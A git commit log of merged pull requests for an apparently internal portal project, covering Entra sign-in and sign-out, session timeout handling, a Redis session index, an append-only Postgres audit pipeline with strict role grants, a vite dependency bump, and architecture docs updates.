#120 shipped the audit pipeline but the end-to-end path was never smoke-tested against a running Postgres. First click on `/auth/logout` returned 500 with the Pino log:

```
PostgresError code 42501 — permission denied for table events
```

Despite:

- ACL on `audit.events` showing `audit_writer=a/audit_owner` (INSERT granted).
- `has_table_privilege('audit_writer', 'audit.events', 'INSERT')` returning `t`.
- `has_schema_privilege` / `has_type_privilege` all `t`.
- A direct psql `INSERT INTO audit.events ...` after `SET LOCAL ROLE audit_writer` **succeeding**.
- A psql `INSERT ... RETURNING id` after the same `SET LOCAL ROLE` **failing** with the exact same error.

Root cause: Prisma's ORM `tx.auditEvent.create(...)` issues `INSERT ... RETURNING *` to hydrate the returned entity. Postgres requires **SELECT** on every column listed in `RETURNING`. `audit_writer` has INSERT only by ADR-0013 design — RETURNING fails with `code 42501` and the error message reads "permission denied for table events" (no mention of SELECT or RETURNING, which is what made it deeply non-obvious to diagnose).

## Fix

`AuditWriter.recordEvent` now issues a parameterised raw INSERT via `tx.$executeRawUnsafe` instead of the ORM `create()`:

```ts
await tx.$executeRawUnsafe(
  `INSERT INTO "audit"."events"
     (id, event_type, audience, outcome, subject, actor_id_hash, trace_id, payload)
   VALUES (gen_random_uuid(), $1, $2::"audit"."AuditAudience", $3::"audit"."AuditOutcome",
           $4, $5, $6, $7::jsonb)`,
  input.eventType, input.audience, input.outcome,
  input.subject ?? null, actorIdHash, traceId, payloadJson,
);
```

The role contract per ADR-0013 stays strict: `audit_writer` keeps INSERT only, no SELECT/UPDATE/DELETE/TRUNCATE. The other natural fix (`GRANT SELECT` to `audit_writer`) would have weakened the writer/reader role separation, so we deliberately went the other way.

## Notable choices

**`gen_random_uuid()` server-side instead of Prisma's `@default(uuid())` client-side.** The model still declares `@default(uuid())` for any future ORM read or `audit_reader`-side query, but the write path uses the built-in Postgres function. No extension required (Postgres 13+).

**Explicit enum and jsonb casts.** Parameters travel as TEXT over the wire; the SQL casts (`$2::"audit"."AuditAudience"`, `$7::jsonb`) ensure Postgres parses them as the right type. Without the casts, the type system rejects the INSERT before privilege check even fires.

**Parameterised, not interpolated.** `$executeRawUnsafe` accepts a SQL template with `$1, $2, …` placeholders and a vararg of values — same wire-level parameter binding as a prepared statement, so SQL injection isn't possible even on caller-controlled inputs like `eventType`. The spec pins this with a malicious-input test.

**Also fixes an env-sensitivity bug in `auth.controller.spec.ts`.** The test that asserts `session.absoluteExpiresAt == createdAt + 43200000` was reading the default via `readSessionTimeouts()` but didn't override `SESSION_ABSOLUTE_TIMEOUT_SECONDS`. If `apps/portal-bff/.env` has a custom value (as it did during the manual audit debugging), the test failed non-deterministically. Now the test deletes the env var before running and restores it after — same pattern as the other env-touching tests in this file.

## ADR amendment

[ADR-0013](docs/decisions/0013-audit-trail-separated-postgres-append-only.md) §"Writer" now carries an **Implementation trap** callout explaining why Prisma's ORM `create()` cannot be used for audit writes (RETURNING requires SELECT, audit_writer has INSERT only). The corresponding Confirmation entry cross-references the callout. Two-commit shape on this PR (code + docs) — the squash-merge will fold them.

## Test plan

- [x] `pnpm nx test portal-bff` (clean env) → **144/144 pass**.
- [x] `pnpm nx lint portal-bff` → clean.
- [x] `pnpm nx build portal-bff` → clean.
- [x] Prettier-clean.
- [ ] Manual smoke against running BFF + Postgres:
  - [ ] Sign in → row in `audit.events` with `event_type = 'auth.sign_in'`.
  - [ ] Sign out → row with `event_type = 'auth.sign_out'`. **The 500 from before is gone.**
  - [ ] Verify the role contract is still strict :
    ```sql
    SET ROLE audit_writer;
    SELECT * FROM audit.events LIMIT 1;  -- should fail "permission denied"
    UPDATE audit.events SET event_type = 'x';  -- should fail
    DELETE FROM audit.events;  -- should fail
    ```

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #121
2026-05-13 19:48:32 +02:00
julien 940267e317 feat(portal-bff): wire ADR-0013 audit pipeline to the auth lifecycle (#120)
CI / check (push) Successful in 2m49s
CI / commits (push) Has been skipped
CI / scan (push) Successful in 2m50s
CI / a11y (push) Successful in 1m56s
CI / perf (push) Successful in 3m29s
## Summary

Wires the audit pipeline (ADR-0013) to the auth lifecycle. The foundation was already in place (Prisma `AuditEvent` model, Postgres roles + grants, `AuditWriter.recordEvent` with `SET LOCAL ROLE audit_writer`); this PR layers a typed event surface and emits the first four events on real code paths.

### What lands

- **Typed methods on `AuditWriter`**: `signIn`, `signInFailed`, `signOut`, `sessionExpired`. Callers pass the raw Entra `oid`; hashing happens inside the writer so the salt never leaves the audit module. ADR-0013 explicitly defers adding these typed methods "as the matching feature ships" — auth has shipped, so we add the four events tied to code paths that exist today.
- **`HashUserIdService`** — reads `LOG_USER_ID_SALT` once at injection, exposes `hash(userId)` → 16-hex-char digest used by both `audit_events.actor_id_hash` (ADR-0013) and the future Pino `user_id_hash` (ADR-0012). Same salt + same input ⇒ same output ⇒ join key between the two streams.
- **`LOG_USER_ID_SALT` env var** promoted from the "future vars" block in `.env.example` to the active section, with the same boot-time validator pattern as `SESSION_SECRET` / `SESSION_ENCRYPTION_KEY`: mandatory, base64url, ≥ 32 bytes decoded, placeholder rejected. Wired in `main.ts`.
- **`AuditModule` is now `@Global()`** and also provides `HashUserIdService`. The previous in-line comment said "imported globally by AppModule" but the decorator was missing — without it, AuthController and the absolute-timeout middleware couldn't inject `AuditWriter` without re-importing AuditModule.
- **Emission points**:
  - `/auth/callback` happy path → `auth.sign_in` after `session.save()` (blocking per ADR-0013 §"Blocking writes": a failed audit fails the sign-in).
  - `/auth/callback` failure paths → `auth.sign_in.failed` with a discriminator `failureKind` (`entra-error`, `missing-code-or-state`, `no-pre-auth-cookie`, or any of the `AuthCodeFlowError` kinds — `state-mismatch`, `flow-expired`, `token-exchange-failed`).
  - `/auth/logout` (authenticated only) → `auth.sign_out` before `session.destroy()` — once destroy runs we lose the actor id.
  - Absolute-timeout middleware → `auth.session.expired` with `reason: 'absolute'` and `ageMs` for forensic granularity.

### Out of scope (next PRs)

- The other four v1 events from ADR-0013's catalogue (`auth.session.revoked`, `auth.token.validation.failed`, `auth.mfa.assertion.failed`, `authz.deny`) — no triggering code path exists today. They land with the admin "logout everywhere" route, downstream API access (ADR-0014), and the eventual `@RequireMfa()` / `@RequireAdmin` guards.
- Idle-timeout expiry is intentionally silent — Redis lets the key disappear with no BFF observation point. Per ADR-0010.
- Separate `AUDIT_DATABASE_URL` connection pool with `audit_writer`-only credentials — ADR-0013 marks it as the production hardening step, deferred behind `SET LOCAL ROLE` in v1.
- Retention purge job + startup self-test probe — deferred to the on-prem infrastructure ADR per ADR-0013.

### Notable choices

- **No CLS-populating middleware.** ADR-0013 anticipates an interceptor that puts `actorIdHash` on the request CLS so `AuditWriter.recordEvent` can pick it up automatically. For the four call sites in this PR, every emission path already has the user object in hand, so we pass `actorIdHash` explicitly via the typed methods and skip the middleware. It can land later when more routes need it.
- **Blocking on the happy path = strict ADR posture.** `audit.signIn` is awaited before the 302; a Postgres outage makes the sign-in fail (5xx) rather than silently producing an un-audited session. That's "no audit ⇒ no action" applied to authentication itself. Matches ADR-0013 §"Blocking writes" verbatim.
- **`signInFailed` skips the actor hash by default.** Most failure paths reject before any claim is parsed (state mismatch, expired flow). The interface accepts an optional `actor` for the rare identity-after-rejection case (future MFA assertion failure, etc.).

### Test plan

- [x] `pnpm nx test portal-bff` (clean env) → **142/142 pass** (was 123; +19 new specs across `check-log-user-id-salt`, `hash-user-id.service`, `audit.service` typed-methods, `auth.controller`, `absolute-timeout.middleware`).
- [x] `pnpm nx lint portal-bff` → clean.
- [x] `pnpm nx build portal-bff` → clean.
- [x] **CI clean-env repro** (lesson from #115/#116/#117): every env var unset → tests still 142/142. The two module specs that previously sat on the boundary (`auth.module`, `session.module`) now bootstrap their own `@Global()` stub providers for `PrismaService` + `ClsService` so AuditWriter's transitive resolution works without booting Prisma for real.
- [ ] Manual smoke against running BFF + Postgres:
  - [ ] Sign in → `select * from audit.events where event_type = 'auth.sign_in'` returns one row with `actor_id_hash`, `subject = 'session:…'`, `payload.amr` populated.
  - [ ] Sign out → matching `auth.sign_out` row.
  - [ ] Force `SESSION_ABSOLUTE_TIMEOUT_SECONDS=5` + wait → `auth.session.expired` row with `payload.reason = 'absolute'` and `ageMs > 5000`.
  - [ ] Manual `UPDATE audit.events SET event_type = 'x' WHERE id = ...` as the BFF role → fails with "permission denied" (the role contract holds even when the migrator runs as a privileged login).

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #120
2026-05-13 14:21:42 +02:00
APF Portal Bot 4d4791a807 chore(deps): update dependency vite to v8.0.12 (#118)
CI / commits (push) Has been skipped
CI / scan (push) Successful in 3m3s
CI / check (push) Successful in 4m17s
CI / a11y (push) Successful in 1m17s
CI / perf (push) Successful in 5m30s
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [vite](https://vite.dev) ([source](https://github.com/vitejs/vite/tree/HEAD/packages/vite)) | devDependencies | patch | [`8.0.11` -> `8.0.12`](https://renovatebot.com/diffs/npm/vite/8.0.11/8.0.12) |

---

### Release Notes

<details>
<summary>vitejs/vite (vite)</summary>

### [`v8.0.12`](https://github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small-8012-2026-05-11-small)

[Compare Source](https://github.com/vitejs/vite/compare/v8.0.11...v8.0.12)

##### Features

- update rolldown to 1.0.0 ([#&#8203;22401](https://github.com/vitejs/vite/issues/22401)) ([cf0ff41](https://github.com/vitejs/vite/commit/cf0ff4154b26cffbf18541ade1a50818842731d3))

##### Bug Fixes

- **deps:** update all non-major dependencies ([#&#8203;22420](https://github.com/vitejs/vite/issues/22420)) ([2be6000](https://github.com/vitejs/vite/commit/2be6000130e3ae2160acc301baa4f7913fbc1f6e))
- **module-runner:** prevent partial-exports race on concurrent imports of in-flight invalidated re-export chains ([#&#8203;22369](https://github.com/vitejs/vite/issues/22369)) ([f5a22e6](https://github.com/vitejs/vite/commit/f5a22e62ada75286138b7ceb3825e43958ef00e1))
- refer to `rolldownOptions` instead of deprecated `rollupOptions` in messages ([#&#8203;22400](https://github.com/vitejs/vite/issues/22400)) ([b675c7b](https://github.com/vitejs/vite/commit/b675c7b6697423275ad9dd521d3ce7c8679761a0))
- **worker:** apply `build.target` to worker bundle ([#&#8203;22404](https://github.com/vitejs/vite/issues/22404)) ([3c93fde](https://github.com/vitejs/vite/commit/3c93fde21f07d44db7669ca7484f4e7a8767afe5))
- **worker:** forward define to worker bundle transform ([#&#8203;22408](https://github.com/vitejs/vite/issues/22408)) ([d4838a0](https://github.com/vitejs/vite/commit/d4838a0358d9f04a980d4d2ac7263f21a6b28ee2))

##### Miscellaneous Chores

- **deps:** update dependency eslint-plugin-n to v18 ([#&#8203;22423](https://github.com/vitejs/vite/issues/22423)) ([2fe7bd2](https://github.com/vitejs/vite/commit/2fe7bd2d73beb697a3d149e943ac74b768c9d27f))
- **deps:** update rolldown-related dependencies ([#&#8203;22421](https://github.com/vitejs/vite/issues/22421)) ([66b9eb3](https://github.com/vitejs/vite/commit/66b9eb35188007e0e9a1bd03b4be820016cad60b))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->

Reviewed-on: https://git.unespace.com/julien/apf_portal/pulls/118
Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
2026-05-13 13:07:55 +02:00
julien 6aee56abe9 docs(architecture): refresh containers + nx boundaries diagrams, add local-infra diagram (#119)
CI / check (push) Successful in 2m8s
CI / commits (push) Has been skipped
CI / scan (push) Successful in 2m14s
CI / a11y (push) Successful in 1m12s
CI / perf (push) Successful in 4m3s
## Summary

Dépoussiérage of `docs/architecture.md` after the auth/session track and a new local-infra diagram.

### Fixed

- **§2 Containers** — `portal-admin` was missing despite shipping in ADR-0020 and being scaffolded in `apps/portal-admin`. Added as a sibling SPA with its own session cookie (`__Host-portal_admin_session`), and the BFF box now distinguishes `/api/*` (end-user) from `/api/admin/*` (RBAC + `@RequireMfa({ freshness: 600 })`).
- **§3 Nx module boundaries** — three small lies:
  - `shared-ui` was drawn under `scope:portal-shell`. The actual tag in [libs/shared/ui/project.json:7](libs/shared/ui/project.json#L7) is `scope:shared`. Same for `shared-state` (which wasn't on the diagram at all). Both now live in the `scope:shared` bubble.
  - `portal-admin` was absent. Added with its planned (dashed) edges to the shared libs and a note that no `scope:portal-admin` row exists in `eslint.config.mjs` yet — that lands when admin modules grow real lib deps (follow-up).
  - The "forbidden" examples included `shared-tokens ⟶ shared-ui` framed as "narrower scope", which doesn't apply (both are `scope:shared` / `type:shared`). Replaced with examples actually enforced by `depConstraints`.

### Added

- **§5 Local dev infrastructure** — visualises what `docker compose up` actually starts: postgres / redis / otel-collector always up, plus opt-in profiles `dbtools` (pgweb), `observability` (Jaeger), `serve-static` (Caddy). Shows ports, named volumes, the bring-up cheat sheet, and the separate CI-runners stack (`apf-portal-ci-runners`, distinct network). Sources point straight at the compose files so a contributor can chase any detail in one click.

### Misc

- Updated the "Trace context propagation" row in the "To be added" table — its trigger ("first observability instrumentation lands") was already met. Now flagged as overdue / pending a follow-up PR (deferred from this scope).
- Carried the pre-existing one-line fix on the §4 `squash[…]` node (mermaid was rejecting unquoted parens inside the label).

## Test plan

- [x] `pnpm exec prettier --check docs/architecture.md` → clean.
- [x] Re-read all five mermaid blocks for syntax (no unquoted parens / `:` / `(` inside `[]` labels). Compose-side `--profile X` only appears inside `"…"` so it's safe.
- [ ] Render in Gitea / IDE markdown preview — the five mermaid blocks should display without errors.
- [ ] Eyeball §5 against [infra/local/dev.compose.yml](../infra/local/dev.compose.yml): every service + profile present, ports match.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #119
2026-05-13 11:15:03 +02:00
julien 177f2f20c0 feat(portal-shell): authGuard + BFF http interceptors + /profile demo route (#117)
CI / commits (push) Has been skipped
CI / scan (push) Successful in 1m57s
CI / check (push) Successful in 2m19s
CI / a11y (push) Successful in 51s
CI / perf (push) Successful in 3m33s
## Summary

Brings the SPA auth track to the level of polish the BFF surface deserves. After #113/#114, the header reflects sign-in state — but the SPA had no protected routes and no global handling of session-state drift. This PR adds three building blocks (one guard, two interceptors) plus one demo consumer.

- **`authGuard`** (`CanActivateFn`) — gates routes on `AuthService.state`. Waits out the bootstrap `loading` state, allows when `authenticated`, redirects through `auth.login()` (full-page navigation to the BFF's `/auth/login` → Entra round-trip) when `anonymous` or `error`.
- **`bffCredentialsInterceptor`** — flips `withCredentials: true` on every request whose URL starts with `AUTH_BFF_BASE_URL`. Replaces the per-call flag we had on `/me` (#114) with a single point of truth. Future BFF calls inherit it automatically — no chance of forgetting it.
- **`bffUnauthorizedInterceptor`** — calls `AuthService.refresh()` when a BFF route (other than `/auth/me` itself) answers 401. Keeps the SPA's auth state in sync after server-side session destruction (absolute-timeout, manual revoke, idle-TTL expiry).
- **`/profile`** demo route — first real consumer of the guard. Lazy-loaded component that renders the curated `CurrentUser` payload (display name, username, oid, tid). Exercises the full loop end-to-end: guard waits on /me → BFF answers → SPA renders.

## Notable choices

**Lazy `AuthService` resolution in the 401 interceptor.** A naive `inject(AuthService)` at the top of the interceptor caused a circular-construction error: `AuthService`'s own constructor fires the bootstrap `/me`, which goes through the interceptor chain, which tries to inject `AuthService` while it's still being constructed. The fix is to inject the parent `Injector` and resolve `AuthService` lazily inside `catchError` — by the time a 401 actually fires, construction is done. Standard Angular pattern for "interceptor depends on a service that uses HttpClient".

**`/auth/me` is excluded from the 401 refresh trigger.** The interceptor's whole job is to catch session-state drift; `/me` is the probe `AuthService.refresh()` itself uses. Without the exclusion, a 401 from /me would call `refresh()` → another /me → another 401 → infinite loop.

**On `error` state, the guard still redirects to `/auth/login`.** Could have shown a "can't reach the server" page on the protected route, but the BFF-side login screen surfaces diagnostics more usefully (Entra's own error path) than a generic SPA outage page would.

**Per-call `withCredentials: true` removed from `AuthService.refresh()`.** The interceptor now applies it uniformly. The spec that pinned the per-call flag is also gone — that contract moved to `bff-credentials.interceptor.spec.ts` where it belongs.

**`profileTitle` + 6 new i18n message ids.** `route.profile.title`, `profile.heading`, `profile.intro`, `profile.field.{displayName,username,oid,tid}` shipped in `messages.fr.xlf` with FR translations.

## Out of scope (next PRs)

- A real user-profile feature (settings, preferences, etc.) — `/profile` is just an auth-loop fixture today.
- Showing the auth-loading state on protected routes (currently the guard blocks navigation; the user sees the previous route until /me resolves). Acceptable for v1.

## Test plan

- [x] `pnpm nx test feature-auth` → **19/19 pass** (was 8; +11 across `auth.guard.spec.ts`, `bff-credentials.interceptor.spec.ts`, `bff-unauthorized.interceptor.spec.ts`).
- [x] `pnpm nx test portal-shell` → **34/34 pass** (was 32; +2 for the Profile component).
- [x] `pnpm nx lint feature-auth portal-shell` → clean.
- [x] `pnpm nx build portal-shell` → clean. Bundle: main 492 kB raw / 131 kB transfer (well under the 300 KB gzip budget per ADR-0017).
- [x] **CI clean-env repro** (lesson from #115/#116): `env -u REDIS_URL -u SESSION_*  ... pnpm exec nx run-many -t test` → 123 + 19 + 34 = **176/176 pass**.
- [ ] Manual smoke against running BFF:
  - [ ] Anonymous → visit `/profile` → redirect to `/auth/login` → Entra → callback → SPA lands at `/profile` with identity card filled in.
  - [ ] Trigger an absolute-timeout (set `SESSION_ABSOLUTE_TIMEOUT_SECONDS=5` in BFF `.env`, wait) → next BFF call returns 401 → header flips to "Sign in".

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #117
2026-05-13 00:43:56 +02:00
julien c427e5d4fe fix(portal-bff): set REDIS_URL + SESSION_* in auth.module.spec so ci:check passes on a clean runner (#116)
CI / commits (push) Has been skipped
CI / scan (push) Successful in 1m23s
CI / check (push) Successful in 1m33s
CI / a11y (push) Successful in 45s
CI / perf (push) Successful in 2m58s
## Summary

CI red on `main` after #115. Failure was masked locally because `nx test` auto-loads `apps/portal-bff/.env` — the CI runner has no such file, so `process.env.REDIS_URL` is genuinely unset there and the test sees the real failure path.

Root cause: #115 made `AuthModule` import `SessionModule` so `AuthController` could inject `UserSessionIndexService`. `SessionModule` pulls in `RedisModule`, whose factory calls `assertRedisConfig()` and refuses to compile without `REDIS_URL`. The existing `auth.module.spec.ts` only set the `ENTRA_*` env vars — so as soon as the spec's `compile()` walks the new import graph, `assertRedisConfig` throws.

Fix is one file: add `REDIS_URL`, `SESSION_SECRET`, `SESSION_ENCRYPTION_KEY` to the spec's `VALID` env block and dispose the `ioredis` client in `afterEach` (the spec now compiles a full SessionModule, which opens a connection at module init). Same pattern as `session.module.spec.ts`.

## Verification

The reason the bug didn't surface locally was Nx's `.env` loading. To repro the CI condition locally:

```
env -u REDIS_URL -u SESSION_SECRET -u SESSION_ENCRYPTION_KEY -u DATABASE_URL \
    -u ENTRA_INSTANCE_URL -u ENTRA_TENANT_ID -u ENTRA_CLIENT_ID \
    -u ENTRA_CLIENT_SECRET -u ENTRA_REDIRECT_URI -u ENTRA_POST_LOGOUT_REDIRECT_URI \
    pnpm exec nx test portal-bff --skip-nx-cache
```

Before this PR (on main): `auth.module.spec.ts` fails with `REDIS_URL is not set` at `assertRedisConfig`. After: 123/123 pass under that same clean env.

## Test plan

- [x] `nx test portal-bff` with all BFF env vars `unset` → **123/123 pass** (the CI condition).
- [x] `nx lint portal-bff` → clean.
- [x] `nx build portal-bff` → clean.
- [x] Prettier-clean.
- [ ] CI re-run after merge → `ci:check` green.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #116
2026-05-12 23:58:55 +02:00
julien c3de2340e7 feat(portal-bff): absolute-timeout middleware + user_sessions index per ADR-0010 (#115)
CI / check (push) Failing after 1m28s
CI / commits (push) Has been skipped
CI / scan (push) Successful in 1m3s
CI / a11y (push) Successful in 58s
CI / perf (push) Successful in 2m53s
## Summary

Hardens the BFF session per ADR-0010 §"TTL policy" and §"Revocation":

- **Absolute-timeout middleware** — every request that survives `express-session` runs through a new middleware that checks `req.session.absoluteExpiresAt`. Past the 12 h hard ceiling, the middleware destroys the Redis-side session, clears the `portal_session` cookie, drops the entry from the per-user index, and lets the request continue anonymously. Route-level guards (`/me`, future `@RequireAuth`) turn that into a 401 where the user actually needs auth — public routes keep serving.
- **`user_sessions:{userId}` secondary index** — a new `UserSessionIndexService` maintains a Redis set of active session ids per user. Hooked into `/auth/callback` (SADD on sign-in) and `/auth/logout` + the absolute-timeout middleware (SREM on destroy). Best-effort: a failed `SADD`/`SREM` logs a warning and the auth flow continues. No in-product consumer in this PR — the admin "logout everywhere" endpoint lands with the admin module.
- **Session payload extension** — `createdAt` and `absoluteExpiresAt` are now set on the session at the same moment as `req.session.user` (in `/auth/callback`). The `session.types.ts` declaration merging exposes them as optional `SessionData` fields.

## Notable choices

**Non-intrusive enforcement on expiry.** ADR-0010 says "returns 401"; we interpret that as "the user eventually sees a 401 when they touch something that needs auth", not "every route returns 401 the moment we notice the ceiling". The middleware destroys the session and calls `next()` — `/me` returns 401 on its own (no user on the session), public routes stay accessible. Validated with the project lead 2026-05-12.

**Express middleware exposed via DI, not a NestJS `MiddlewareConsumer`.** Same pattern as `SESSION_MIDDLEWARE`: factory inside `SessionModule`, resolved from the application context in `main.ts` with `app.get<RequestHandler>(SESSION_ABSOLUTE_TIMEOUT_MIDDLEWARE)`. Keeps the wiring co-located with the session middleware and avoids the `AppModule.configure(consumer)` boilerplate for a one-off enforcement layer.

**Best-effort index maintenance.** `UserSessionIndexService.add` / `remove` catch Redis errors and log a Pino warning instead of throwing. Rationale (per ADR-0010): the index is a convenience for admin operations, not a security invariant — a Redis hiccup must not break sign-in / sign-out. Orphans (entries pointing to keys that have expired idle-TTL on their own) are tolerated and will be filtered by future consumer code.

**Per-user index identifier = Entra `oid`.** Stable per-user inside the tenant, matches `req.session.user.oid`. Admin "logout user X" will work against this same key. Future multi-tenant scenarios may want `${tid}:${oid}` — easy refactor when External ID activation lands (ADR-0008).

## Out of scope (next PRs)

- Admin "logout everywhere" endpoint consuming `UserSessionIndexService.list(userId)`. Waits on the admin module + `@RequireAdmin` / `@RequireMfa` guards.
- Audit-pipeline first-class events for `session.absolute_timeout` and `user_session_index.*` (ADR-0013). For now they're structured Pino logs.
- Token blob persistence (id_token / access_token / refresh_token) in the encrypted session — ADR-0014 dependency.

## Test plan

- [x] `pnpm nx test portal-bff` → **123/123 pass** (was 110 before; +13 specs across new `user-session-index.service.spec.ts`, `absolute-timeout.middleware.spec.ts`, and added cases in `auth.controller.spec.ts`).
- [x] `pnpm nx lint portal-bff` → clean.
- [x] `pnpm nx build portal-bff` → clean webpack build.
- [x] Prettier-clean for all touched files.
- [ ] Manual smoke against running BFF:
  - [ ] Sign in normally → Redis has `session:<id>` + `user_sessions:<oid>` SISMEMBER returns `<id>`.
  - [ ] Logout → both keys gone.
  - [ ] Forge a past `absoluteExpiresAt` in Redis (or shorten `SESSION_ABSOLUTE_TIMEOUT_SECONDS=5` in `.env`) → next request after expiry returns 401 on `/me`, cookie cleared, index entry SREM-ed.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #115
2026-05-12 23:23:14 +02:00
julien 0e4f0fc611 fix(portal-shell): send withCredentials on /me so the session cookie crosses SPA→BFF in dev (#114)
CI / check (push) Successful in 2m32s
CI / commits (push) Has been skipped
CI / scan (push) Successful in 1m17s
CI / a11y (push) Successful in 1m8s
CI / perf (push) Successful in 2m49s
## Summary

Manual smoke after PR #113 surfaced a dev-only bug: after `/auth/callback` the BFF correctly sets the `portal_session` cookie and redirects to the SPA, but the SPA's next call to `/api/auth/me` comes back **401 with no `cookie:` header at all**. The user lands "back at the portal" but the header still shows "Sign in".

**Root cause.** Angular's `HttpClient` via `withFetch()` inherits `fetch`'s default `credentials: 'same-origin'`. In dev, `localhost:4200` (SPA) → `localhost:3000` (BFF) is cross-origin (different ports), so the browser drops the session cookie on the way out. SameSite=Lax is a red herring: both URLs share the registrable domain, so the cookie is still same-site — what was missing was opting the fetch into credentials.

**Fix.** Per-call `withCredentials: true` on the /me request. Only /me needs cookies today; login/logout are full-page navigations through `window.location`, which the browser hydrates with cookies regardless. A global `HttpInterceptor` will be the right abstraction once other authenticated BFF endpoints exist — premature for one consumer.

**BFF side was already correct.** `enableCors({ credentials: true })` in `main.ts`. Nothing to change.

A new spec pins `withCredentials === true` on the /me request so a future refactor can't silently drop the flag and reintroduce the bug.

## Test plan

- [x] `pnpm nx test feature-auth` → **9/9 pass** (was 8 before; +1 spec pinning the credentials flag).
- [x] `pnpm nx test portal-shell` → **32/32 pass**.
- [x] `pnpm nx lint feature-auth portal-shell` → clean.
- [x] `pnpm nx build portal-shell` → clean.
- [ ] Manual smoke against the running BFF: anonymous landing → click "Sign in" → Entra → callback → SPA lands with avatar + display name in the header (the very last step that failed before this fix).

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #114
2026-05-12 22:35:10 +02:00
julien 9a9faf9a31 feat(portal-shell): wire SPA auth state to BFF /me + header login/logout widget (#113)
CI / check (push) Successful in 3m3s
CI / commits (push) Has been skipped
CI / scan (push) Successful in 1m41s
CI / a11y (push) Successful in 1m44s
CI / perf (push) Successful in 4m24s
## Summary

First user-visible piece of the auth track. The portal-shell SPA now consumes the BFF auth surface (`/api/auth/me`, `/api/auth/login`, `/api/auth/logout`) and the header reflects sign-in state.

- `libs/feature/auth` ships an `AuthService` that fetches `/auth/me` on first injection, holds a signal-backed `AuthState` (`loading` / `anonymous` / `authenticated` / `error`) and exposes `currentUser` + `isLoading` computed signals plus `login()` / `logout()` / `refresh()` methods.
- The header's right-side widget renders four states: a sign-in button when anonymous, the user avatar (initials, `JD` for "Jane Doe") + display name + sign-out button when authenticated, a loading dot before `/me` resolves, and a "Can't reach the server" chip on non-401 failures.
- `login()` / `logout()` go through an injected `AUTH_NAVIGATOR` token whose default calls `window.location.assign(url)`. Specs override it with `vi.fn()` — no `window.location` mocking required.

## Notable choices

**Auto-bootstrap on construction, not via `provideAppInitializer`.** The service fires `/me` from its constructor (unawaited) so consuming components transition through the explicit `loading` state. Blocking app boot on the round-trip would push the first paint behind the network call — bad for TTFB, especially on slow links. The header handles `loading` as a first-class state.

**Discriminated `AuthState` over flat fields.** A single source of truth (`state()`) with four `kind`s lets templates `switch` and narrow automatically. `currentUser` and `isLoading` are computed conveniences but never out of sync with `state`.

**`AUTH_BFF_BASE_URL` + `AUTH_NAVIGATOR` injection tokens.** Decouples the lib from the host's `environment.ts` shape and keeps tests free of `window.location` redefinition (which jsdom resists across multiple specs in the same file — first redefine works, second throws "Cannot redefine property"). The host wires both in `app.config.ts`.

**Curated public user type.** `CurrentUser` mirrors the BFF's `/me` response (`oid`, `tid`, `username`, `displayName`) — no `amr`, no internal claims. The shape lives in `auth.types.ts` so feature code can import it without depending on Angular HTTP details.

**Distinct `error` state.** A network failure / 5xx surfaces a different UI than "not signed in" — "Can't reach the server" chip vs. sign-in button. Avoids the trap of treating any `/me` failure as "anonymous".

## Out of scope (next PRs)

- Route guards (protecting routes from anonymous users). For now the header is the only consumer.
- Auto-refresh of the session before idle timeout.
- HTTP interceptor that redirects to `/auth/login` on a 401 from any other BFF call.
- Per-locale styling polish on the new header strings.

## Test plan

- [x] `pnpm nx test feature-auth` → **8/8 pass**.
- [x] `pnpm nx test portal-shell` → **32/32 pass** (was 27 before).
- [x] `pnpm nx lint portal-shell feature-auth` → clean.
- [x] `pnpm nx build portal-shell` → main bundle 488 kB raw / 129.94 kB transfer; well under the 300 kB gzip budget from ADR-0017.
- [ ] Manual smoke once the BFF is up:
  - [ ] Anonymous landing → header shows "Sign in".
  - [ ] Click "Sign in" → BFF /login → Entra → callback → SPA lands with avatar + display name in the header.
  - [ ] Click "Sign out" → BFF /logout → Entra logout → back at SPA, header back to "Sign in".

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #113
2026-05-12 20:11:34 +02:00
julien 0464ce3ac8 feat(portal-bff): close the auth loop — callback persists session, /me, RP-initiated /logout (#112)
CI / check (push) Successful in 2m39s
CI / commits (push) Has been skipped
CI / scan (push) Successful in 1m33s
CI / a11y (push) Successful in 1m40s
CI / perf (push) Successful in 4m26s
## Summary

Closes the OIDC loop end-to-end on the BFF side:

- `/auth/callback` now writes the resolved `AuthenticatedUser` into `req.session.user` and waits for `req.session.save()` before redirecting, so the SPA reaches the landing page with a populated session.
- `GET /auth/me` returns the curated public view of the session user (`oid`, `tid`, `username`, `displayName`) or `401 {"error": "unauthenticated"}`. `amr` and other internal claims stay server-side.
- `GET /auth/logout` destroys the BFF session (Redis `DEL`), clears the session cookie, and 302s to Entra's `/oauth2/v2.0/logout` so the IdP-side session is killed too — RP-initiated logout per ADR-0009.

Scope intentionally stops here: the absolute-timeout interceptor (12 h hard ceiling) and the `user_sessions:{userId}` secondary index land in dedicated follow-ups.

## Notable choices

